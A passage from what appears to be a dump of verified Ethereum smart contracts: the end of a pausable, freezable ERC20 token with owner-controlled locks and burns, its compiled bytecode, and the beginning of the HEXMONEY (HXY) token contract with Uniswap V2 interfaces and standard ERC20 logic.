now"); _; } function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } event Frozen(address target); event Unfrozen(address target); mapping(address => bool) internal freezes; modifier whenNotFrozen() { require(!freezes[msg.sender], "Sender account is locked."); _; } function freeze(address _target) public onlyOwner { freezes[_target] = true; emit Frozen(_target); } function unfreeze(address _target) public onlyOwner { freezes[_target] = false; emit Unfrozen(_target); } function isFrozen(address _target) public view returns (bool) { return freezes[_target]; } function transfer( address _to, uint256 _value ) public whenNotFrozen whenNotPaused returns (bool) { releaseLock(msg.sender); return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { require(!freezes[_from], "From account is locked."); releaseLock(_from); return super.transferFrom(_from, _to, _value); } event Burn(address indexed burner, uint256 value); function burn(address _who, uint256 _value) public onlyOwner { require(_value <= super.balanceOf(_who), "Balance is too small."); _burn(_who, _value); emit Burn(_who, _value); } struct LockInfo { uint256 releaseTime; uint256 balance; } mapping(address => LockInfo[]) internal lockInfo; event Lock(address indexed holder, uint256 value, uint256 releaseTime); event Unlock(address indexed holder, uint256 value); function balanceOf(address _holder) public view returns (uint256 balance) { uint256 lockedBalance = 0; for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) { lockedBalance = lockedBalance.add(lockInfo[_holder][i].balance); } return super.balanceOf(_holder).add(lockedBalance); } function releaseLock(address _holder) internal { for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) { if (lockInfo[_holder][i].releaseTime <= now) { _balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance); emit Unlock(_holder, lockInfo[_holder][i].balance); lockInfo[_holder][i].balance = 0; if (i != lockInfo[_holder].length - 1) { lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1]; i--; } lockInfo[_holder].length--; } } } function lockCount(address _holder) public view returns (uint256) { return lockInfo[_holder].length; } function lockState(address _holder, uint256 _idx) public view returns (uint256, uint256) { return (lockInfo[_holder][_idx].releaseTime, lockInfo[_holder][_idx].balance); } function lock(address _holder, uint256 _amount, uint256 _releaseTime) public onlyOwner { require(super.balanceOf(_holder) >= _amount, "Balance is too small."); _balances[_holder] = _balances[_holder].sub(_amount); lockInfo[_holder].push( LockInfo(_releaseTime, _amount) ); emit Lock(_holder, _amount, _releaseTime); } function unlock(address _holder, uint256 i) public onlyOwner { require(i < lockInfo[_holder].length, "No lock information."); _balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance); emit Unlock(_holder, lockInfo[_holder][i].balance); lockInfo[_holder][i].balance = 0; if (i != lockInfo[_holder].length - 1) { lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1]; } lockInfo[_holder].length--; } function transferWithLock(address _to, uint256 _value, uint256 _releaseTime) public onlyOwner returns (bool) { require(_to != address(0), "wrong address"); require(_value <= super.balanceOf(owner), "Not enough balance"); _balances[owner] = _balances[owner].sub(_value); lockInfo[_to].push( LockInfo(_releaseTime, _value) ); emit Transfer(owner, _to, _value); emit Lock(_to, _value, _releaseTime); return true; } }
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80638456cb59116100de578063a9059cbb11610097578063df03458611610071578063df034586146104ff578063e2ab691d14610525578063e583983614610557578063f2fde38b1461057d5761018e565b8063a9059cbb14610473578063dd62ed3e1461049f578063de6baccb146104cd5761018e565b80638456cb59146103c15780638d1fdf2f146103c95780638da5cb5b146103ef57806395d89b41146104135780639dc29fac1461041b578063a457c2d7146104475761018e565b8063395093511161014b57806346cf1bb51161012557806346cf1bb5146103225780635c975abb1461036757806370a082311461036f5780637eee288d146103955761018e565b806339509351146102c65780633f4ba83a146102f257806345c8b1a6146102fc5761018e565b806306fdde0314610193578063095ea7b31461021057806318160ddd1461025057806323b872dd1461026a578063313ce567146102a0578063378dc3dc146102be575b600080fd5b61019b6105a3565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d55781810151838201526020016101bd565b50505050905090810190601f1680156102025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61023c6004803603604081101561022657600080fd5b506001600160a01b0381351690602001356105c9565b604080519115158252519081900360200190f35b6102586105df565b60408051918252519081900360200190f35b61023c6004803603606081101561028057600080fd5b506001600160a01b038135811691602081013590911690604001356105e6565b6102a86106cd565b6040805160ff9092168252519081900360200190f35b6102586106d2565b61023c600480360360408110156102dc57600080fd5b506001600160a01b0381351690602001356106e2565b6102fa610723565b005b6102fa6004803603602081101561031257600080fd5b50356001600160a01b0316610810565b61034e6004803603604081101561033857600080fd5b506001600160a01b0381351690602001356108b9565b6040805192835260208301919091528051918290030190f35b61023c610932565b6102586004803603602081101561038557600080fd5b50356001600160a01b0316610942565b6102fa600480360360408110156103ab57600080fd5b506001600160a01b0381351690602001356109dc565b6102fa610c8a565b6102fa600480360360208110156103df57600080fd5b50356001600160a01b0316610d73565b6103f7610e1f565b604080516001600160a01b039092168252519081900360200190f35b61019b610e2e565b6102fa6004803603604081101561043157600080fd5b506001600160a01b038135169060200135610e51565b61023c6004803603604081101561045d57600080fd5b506001600160a01b038135169060200135610f4f565b61023c6004803603604081101561048957600080fd5b506001600160a01b038135169060200135610f8b565b610258600480360360408110156104b557600080fd5b506001600160a01b038135811691602001351661105d565b61023c600480360360608110156104e357600080fd5b506001600160a01b038135169060208101359060400135611088565b6102586004803603602081101561051557600080fd5b50356001600160a01b03166112a5565b6102fa6004803603606081101561053b57600080fd5b506001600160a01b0381351690602081013590604001356112c0565b61023c6004803603602081101561056d57600080fd5b50356001600160a01b031661142f565b6102fa6004803603602081101561059357600080fd5b50356001600160a01b031661144d565b604051806040016040528060078152602001600160ca1b6611985c9b589a5d0281525081565b60006105d63384846114aa565b50600192915050565b6002545b90565b600354600090600160a01b900460ff16156106405760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b6001600160a01b03841660009081526004602052604090205460ff16156106b15760408051600160e51b62461bcd02815260206004820152601760248201527f46726f6d206163636f756e74206973206c6f636b65642e000000000000000000604482015290519081900360640190fd5b6106ba8461159c565b6106c58484846117bf565b949350505050565b601281565b6b02e87669c308736a0400000081565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916105d691859061071e908663ffffffff61181116565b6114aa565b6003546001600160a01b031633146107745760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b600354600160a01b900460ff166107d55760408051600160e51b62461bcd02815260206004820152600e60248201527f4e6f7420706175736564206e6f77000000000000000000000000000000000000604482015290519081900360640190fd5b60038054600160a01b60ff02191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b6003546001600160a01b031633146108615760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b038116600081815260046020908152604091829020805460ff19169055815192835290517f4feb53e305297ab8fb8f3420c95ea04737addc254a7270d8fc4605d2b9c61dba9281900390910190a150565b6001600160a01b03821660009081526005602052604081208054829190849081106108e057fe5b600091825260208083206002909202909101546001600160a01b03871683526005909152604090912080548590811061091557fe5b906000526020600020906002020160010154915091509250929050565b600354600160a01b900460ff1681565b600080805b6001600160a01b0384166000908152600560205260409020548110156109bb576001600160a01b038416600090815260056020526040902080546109b191908390811061099057fe5b9060005260206000209060020201600101548361181190919063ffffffff16565b9150600101610947565b506109d5816109c98561186e565b9063ffffffff61181116565b9392505050565b6003546001600160a01b03163314610a2d5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b0382166000908152600560205260409020548110610a9c5760408051600160e51b62461bcd02815260206004820152601460248201527f4e6f206c6f636b20696e666f726d6174696f6e2e000000000000000000000000604482015290519081900360640190fd5b6001600160a01b03821660009081526005602052604090208054610afe919083908110610ac557fe5b60009182526020808320600160029093020191909101546001600160a01b0386168352908290526040909120549063ffffffff61181116565b6001600160a01b03831660008181526020818152604080832094909455600590529190912080547f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1919084908110610b5257fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26001600160a01b0382166000908152600560205260408120805483908110610b9d57fe5b60009182526020808320600160029093020191909101929092556001600160a01b038416815260059091526040902054600019018114610c5c576001600160a01b038216600090815260056020526040902080546000198101908110610bff57fe5b906000526020600020906002020160056000846001600160a01b03166001600160a01b031681526020019081526020016000208281548110610c3d57fe5b6000918252602090912082546002909202019081556001918201549101555b6001600160a01b0382166000908152600560205260409020805490610c85906000198301611bb0565b505050565b6003546001600160a01b03163314610cdb5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b600354600160a01b900460ff1615610d325760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b60038054600160a01b60ff021916600160a01b1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b6003546001600160a01b03163314610dc45760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b038116600081815260046020908152604091829020805460ff19166001179055815192835290517f8a5c4736a33c7b7f29a2c34ea9ff9608afc5718d56f6fd6dcbd2d3711a1a49139281900390910190a150565b6003546001600160a01b031681565b604051806040016040528060048152602001600160e01b634641524d0281525081565b6003546001600160a01b03163314610ea25760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b610eab8261186e565b811115610f025760408051600160e51b62461bcd02815260206004820152601560248201527f42616c616e636520697320746f6f20736d616c6c2e0000000000000000000000604482015290519081900360640190fd5b610f0c8282611889565b6040805182815290516001600160a01b038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916105d691859061071e908663ffffffff61195316565b3360009081526004602052604081205460ff1615610ff35760408051600160e51b62461bcd02815260206004820152601960248201527f53656e646572206163636f756e74206973206c6f636b65642e00000000000000604482015290519081900360640190fd5b600354600160a01b900460ff161561104a5760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b6110533361159c565b6109d583836119b3565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6003546000906001600160a01b031633146110dc5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b03841661113a5760408051600160e51b62461bcd02815260206004820152600d60248201527f77726f6e67206164647265737300000000000000000000000000000000000000604482015290519081900360640190fd5b60035461114f906001600160a01b031661186e565b8311156111a65760408051600160e51b62461bcd02815260206004820152601260248201527f4e6f7420656e6f7567682062616c616e63650000000000000000000000000000604482015290519081900360640190fd5b6003546001600160a01b03166000908152602081905260409020546111d1908463ffffffff61195316565b600380546001600160a01b039081166000908152602081815260408083209590955588831680835260058252858320865180880188528981528084018b81528254600181810185559387529585902091516002909602909101948555519301929092559254845188815294519194921692600080516020611d1f833981519152928290030190a3604080518481526020810184905281516001600160a01b038716927f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b928290030190a25060019392505050565b6001600160a01b031660009081526005602052604090205490565b6003546001600160a01b031633146113115760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b8161131b8461186e565b10156113715760408051600160e51b62461bcd02815260206004820152601560248201527f42616c616e636520697320746f6f20736d616c6c2e0000000000000000000000604482015290519081900360640190fd5b6001600160a01b03831660009081526020819052604090205461139a908363ffffffff61195316565b6001600160a01b0384166000818152602081815260408083209490945560058152838220845180860186528681528083018881528254600181810185559386529484902091516002909502909101938455519201919091558251858152908101849052825191927f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b92918290030190a2505050565b6001600160a01b031660009081526004602052604090205460ff1690565b6003546001600160a01b0316331461149e5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6114a7816119c0565b50565b6001600160a01b0383166114f257604051600160e51b62461bcd028152600401808060200182810382526024815260200180611d856024913960400191505060405180910390fd5b6001600160a01b03821661153a57604051600160e51b62461bcd028152600401808060200182810382526022815260200180611cfd6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b60005b6001600160a01b0382166000908152600560205260409020548110156117bb576001600160a01b03821660009081526005602052604090208054429190839081106115e657fe5b906000526020600020906002020160000154116117b3576001600160a01b03821660009081526005602052604090208054611626919083908110610ac557fe5b6001600160a01b03831660008181526020818152604080832094909455600590529190912080547f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f191908490811061167a57fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26001600160a01b03821660009081526005602052604081208054839081106116c557fe5b60009182526020808320600160029093020191909101929092556001600160a01b038416815260059091526040902054600019018114611788576001600160a01b03821660009081526005602052604090208054600019810190811061172757fe5b906000526020600020906002020160056000846001600160a01b03166001600160a01b03168152602001908152602001600020828154811061176557fe5b600091825260209091208254600290920201908155600191820154910155600019015b6001600160a01b03821660009081526005602052604090208054906117b1906000198301611bb0565b505b60010161159f565b5050565b60006117cc848484611a7a565b6001600160a01b03841660009081526001602090815260408083203380855292529091205461180791869161071e908663ffffffff61195316565b5060019392505050565b6000828201838110156109d55760408051600160e51b62461bcd02815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b031660009081526020819052604090205490565b6001600160a01b0382166118d157604051600160e51b62461bcd028152600401808060200182810382526021815260200180611d3f6021913960400191505060405180910390fd5b6002546118e4908263ffffffff61195316565b6002556001600160a01b038216600090815260208190526040902054611910908263ffffffff61195316565b6001600160a01b03831660008181526020818152604080832094909455835185815293519193600080516020611d1f833981519152929081900390910190a35050565b6000828211156119ad5760408051600160e51b62461bcd02815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b60006105d6338484611a7a565b6001600160a01b038116611a1e5760408051600160e51b62461bcd02815260206004820152600d60248201527f416c7265616479204f776e657200000000000000000000000000000000000000604482015290519081900360640190fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316611ac257604051600160e51b62461bcd028152600401808060200182810382526025815260200180611d606025913960400191505060405180910390fd5b6001600160a01b038216611b0a57604051600160e51b62461bcd028152600401808060200182810382526023815260200180611cda6023913960400191505060405180910390fd5b6001600160a01b038316600090815260208190526040902054611b33908263ffffffff61195316565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611b68908263ffffffff61181116565b6001600160a01b03808416600081815260208181526040918290209490945580518581529051919392871692600080516020611d1f83398151915292918290030190a3505050565b815481835581811115610c8557600083815260209020610c85916105e39160029182028101918502015b80821115611bf45760008082556001820155600201611bda565b5090565b6001600160a01b038216611c565760408051600160e51b62461bcd02815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600254611c69908263ffffffff61181116565b6002556001600160a01b038216600090815260208190526040902054611c95908263ffffffff61181116565b6001600160a01b038316600081815260208181526040808320949094558351858152935192939192600080516020611d1f8339815191529281900390910190a3505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a165627a7a72305820b0df970ba67de15b537368218fae48d9456bf67287d85449706a496545c018030029
[ 18 ]
0xf3a2ace8e48751c965ea0a1d064303aca53842b9
//HEXMONEY.sol // // pragma solidity 0.6.4; import "./SafeMath.sol"; import "./IERC20.sol"; import "./HEX.sol"; import "./Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } //Uniswap v2 interface interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; } //////////////////////////////////////////////// ////////////////////EVENTS///////////////////// ////////////////////////////////////////////// contract TokenEvents { //when a user freezes tokens event TokenFreeze( address indexed user, uint value ); //when a user unfreezes tokens event TokenUnfreeze( address indexed user, uint value ); //when a user freezes freely minted tokens event FreeMintFreeze( address indexed user, uint value, uint indexed dapp //0 for ref, increment per external dapp ); //when a user unfreezes freely minted tokens event FreeMintUnfreeze( address indexed user, uint value ); //when a user transforms HEX to HXY event Transform ( uint hexAmt, uint hxyAmt, address indexed transformer ); //when founder tokens are frozen event FounderLock ( uint hxyAmt, uint timestamp ); //when founder tokens are unfrozen event FounderUnlock ( uint hxyAmt, uint timestamp ); event LiquidityPush( uint256 amountA, uint256 amountB, uint256 liquidity ); event DividendPush( uint256 hexDivs ); } ////////////////////////////////////// //////////HEXMONEY TOKEN CONTRACT//////// //////////////////////////////////// contract HEXMONEY is IERC20, TokenEvents { using SafeMath for uint256; using SafeERC20 for HEXMONEY; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; //uniswap setup address public factoryAddress = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; address public routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public uniHEXHXY = address(0); IUniswapV2Pair internal uniPairInterface = IUniswapV2Pair(uniHEXHXY); IUniswapV2Router02 internal uniV2Router = IUniswapV2Router02(routerAddress); //hex contract setup address internal hexAddress = 0x2b591e99afE9f32eAA6214f7B7629768c40Eeb39; HEX internal hexInterface = HEX(hexAddress); //transform setup bool public roomActive; uint public totalHeartsTransformed = 0; uint public totalHxyTransformed = 0; uint public totalDividends = 0; uint public totalLiquidityAdded = 0; uint public hexLiquidity = 0; uint public hexDivs = 0; //mint / freeze setup uint public unlockLvl = 0; uint public founderLockStartTimestamp = 0; uint public founderLockDayLength = 1825;//5 years (10% released every sixmonths) uint public founderLockedTokens = 0; uint private allFounderLocked = 0; bool public mintBlock;//disables any more tokens ever being minted once _totalSupply reaches _maxSupply uint public minFreezeDayLength = 7; // min days to freeze uint internal daySeconds = 86400; // seconds in a day uint public totalFrozen = 0; mapping (address => uint) public tokenFrozenBalances;//balance of HXY frozen mapped by user uint public totalFreeMintFrozen = 0; mapping (address => uint) public freeMintFrozenBalances;//balance of HXY free minted frozen mapped by user //tokenomics uint256 public _maxSupply = 6000000000000000;// max supply @ 60M uint256 internal _totalSupply; string public constant name = "HEX Money"; string public constant symbol = "HXY"; uint public constant decimals = 8; //airdrop contract address payable public airdropContract = address(0); //multisig address public multisig = address(0); //admin address payable internal _p1 = 0xb9F8e9dad5D985dF35036C61B6Aded2ad08bd53f; address payable internal _p2 = 0xe551072153c02fa33d4903CAb0435Fb86F1a80cb; address payable internal _p3 = 0xc5f517D341c1bcb2cdC004e519AF6C4613A8AB2d; address payable internal _p4 = 0x47705B509A4Fe6a0237c975F81030DAC5898Dc06; address payable internal _p5 = 0x31101541339B4B3864E728BbBFc1b8A0b3BCAa45; bool private sync; bool public multisigSet; bool public transformsActive; //minters address[] public minterAddresses;// future contracts to enable minting of HXY mapping(address => bool) admins; mapping(address => bool) minters; mapping (address => Frozen) public frozen; mapping (address => FreeMintFrozen) public freeMintFrozen; struct Frozen{ uint256 freezeStartTimestamp; uint256 totalEarnedInterest; } struct FreeMintFrozen{ uint256 totalHxyMinted; } modifier onlyMultisig(){ require(msg.sender == multisig, "not authorized"); _; } modifier onlyAdmins(){ require(admins[msg.sender], "not an admin"); _; } modifier onlyMinters(){ require(minters[msg.sender], "not a minter"); _; } modifier onlyOnceMultisig(){ require(!multisigSet, "cannot call twice"); multisigSet = true; _; } modifier onlyOnceTransform(){ require(!transformsActive, "cannot call twice"); transformsActive = true; _; } //protects against potential reentrancy modifier synchronized { require(!sync, "Sync lock"); sync = true; _; sync = false; } constructor(uint256 v2Supply) public { admins[_p1] = true; admins[_p2] = true; admins[_p3] = true; admins[msg.sender] = true; //mint initial tokens mintInitialTokens(v2Supply); } receive() external payable{ donate(); } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient` * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply unless mintBLock is true * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { uint256 amt = amount; require(account != address(0), "ERC20: mint to the zero address"); if(!mintBlock){ if(_totalSupply < _maxSupply){ if(_totalSupply.add(amt) > _maxSupply){ amt = _maxSupply.sub(_totalSupply); _totalSupply = _maxSupply; mintBlock = true; } else{ _totalSupply = _totalSupply.add(amt); } _balances[account] = _balances[account].add(amt); emit Transfer(address(0), account, amt); } } } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a 